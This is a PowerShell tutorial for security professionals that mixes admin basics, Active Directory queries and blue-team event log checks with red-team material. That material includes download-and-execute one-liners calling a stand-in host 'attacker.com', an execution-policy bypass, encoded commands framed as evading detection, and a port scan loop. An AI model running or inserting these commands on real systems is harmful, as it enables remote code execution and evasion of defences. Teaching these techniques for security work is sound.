PowerShell
3 min readArticle
PowerShell is Microsoft's task automation and configuration management framework, built on .NET. It's the scripting language for Windows administration. For security professionals it's essential — both for blue team automation and red team post-exploitation. "Living off the land" attacks use PowerShell because it's already there on every modern Windows system.
Why PowerShell Matters for Security
- Red team: Pre-installed, trusted by AV, can load code from memory
- Blue team: Query event logs, automate hardening, manage Windows systems
- Active Directory: Primary tool for querying and managing AD
- Azure: PowerShell modules for Azure management
- Post-exploitation frameworks: PowerShell Empire, PowerSploit are PS-based
Basics
powershell
# Variables
$target = "192.168.1.1"
$port = 445
$users = @("admin", "user", "john")
# Output
Write-Host "Scanning $target"
Write-Output "Result"
# Concatenation
$msg = "Host: " + $target + " Port: " + $port
# If/else
if ($port -eq 80) {
Write-Host "HTTP"
} elseif ($port -eq 443) {
Write-Host "HTTPS"
} else {
Write-Host "Other port"
}
# Foreach
foreach ($user in $users) {
Write-Host "Trying: $user"
}
# Pipeline
Get-Process | Where-Object { $_.CPU -gt 10 } | Sort-Object CPU -Descending
File Operations
powershell
# Read file
Get-Content C:\logs\event.log
# Write file
"data" | Out-File -Append C:\output.txt
Set-Content C:\file.txt "content"
# Get file info
Get-Item C:\Windows\System32\cmd.exe
# Find files
Get-ChildItem -Path C:\ -Recurse -Filter "*.txt" -ErrorAction SilentlyContinue
Network Commands
powershell
# Test connectivity
Test-Connection 192.168.1.1 -Count 3
Test-NetConnection 192.168.1.1 -Port 443
# Get network configuration
Get-NetIPConfiguration
Get-NetIPAddress
Get-NetRoute
# DNS lookup
Resolve-DnsName google.com
[System.Net.Dns]::GetHostAddresses("google.com")
# Port scan (pure PowerShell)
1..1024 | ForEach-Object {
$test = Test-NetConnection -ComputerName 192.168.1.1 -Port $_ -WarningAction SilentlyContinue
if ($test.TcpTestSucceeded) { Write-Host "Port $_ is OPEN" }
}
Active Directory (Security Focus)
powershell
# Import AD module
Import-Module ActiveDirectory
# Get all users
Get-ADUser -Filter * -Properties * | Select Name, SamAccountName, LastLogonDate
# Find disabled accounts
Get-ADUser -Filter {Enabled -eq $false} | Select Name, SamAccountName
# Find users with no password expiry
Get-ADUser -Filter {PasswordNeverExpires -eq $true} | Select Name, SamAccountName
# Find admin accounts
Get-ADGroupMember "Domain Admins" | Select Name, SamAccountName
# Get computer accounts
Get-ADComputer -Filter * | Select Name, IPv4Address, OperatingSystem
# Find stale accounts (not logged in 90 days)
$cutoff = (Get-Date).AddDays(-90)
Get-ADUser -Filter {LastLogonDate -lt $cutoff -and Enabled -eq $true} | Select Name, LastLogonDate
Security Relevant Commands (Post-Exploitation)
powershell
# System information
Get-ComputerInfo
systeminfo
# Current user and groups
whoami
whoami /all
[Security.Principal.WindowsIdentity]::GetCurrent()
# List local users and admins
Get-LocalUser
Get-LocalGroupMember Administrators
# Running processes
Get-Process | Select Name, Id, CPU, Path
# Services
Get-Service | Where-Object {$_.Status -eq "Running"}
# Scheduled tasks
Get-ScheduledTask | Where-Object {$_.State -ne "Disabled"}
# Environment variables
$env:PATH
Get-ChildItem env:
# Check PowerShell execution policy
Get-ExecutionPolicy
# Bypass execution policy
powershell.exe -ExecutionPolicy Bypass -File script.ps1
# Or within PS:
Set-ExecutionPolicy Bypass -Scope Process
Running Code from Memory (Red Team)
powershell
# Download and execute (common red team technique)
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/script.ps1')
# Or with Invoke-Expression
Invoke-Expression (Invoke-WebRequest http://attacker.com/script.ps1 -UseBasicParsing).Content
# Base64 encoded command (bypass logging/detection sometimes)
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("whoami"))
powershell.exe -EncodedCommand $encoded
Windows Event Log (Blue Team)
powershell
# Get Security event log
Get-EventLog -LogName Security -Newest 100
# Get failed logins (Event ID 4625)
Get-EventLog -LogName Security | Where-Object {$_.EventID -eq 4625} | Select TimeGenerated, Message
# PowerShell logging events (Event ID 4104)
Get-EventLog -LogName "Windows PowerShell" | Where-Object {$_.EventID -eq 4104}
# Using Get-WinEvent (newer, more flexible)
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624} -MaxEvents 50
Useful Modules
powershell
# Install PowerShell modules
Install-Module -Name ActiveDirectory
Install-Module -Name Az # Azure
Install-Module -Name Microsoft.Graph # Microsoft 365
Install-Module -Name PowerSploit # Red team (PowerSploit)
See Also
- bash-scripting-guide - Linux equivalent
- windows-batch-scripting-guide - Older Windows scripting
- c-programming-language-guide - C# which PS is built on (.NET)
techzonesite.comUnlock Your IT Potential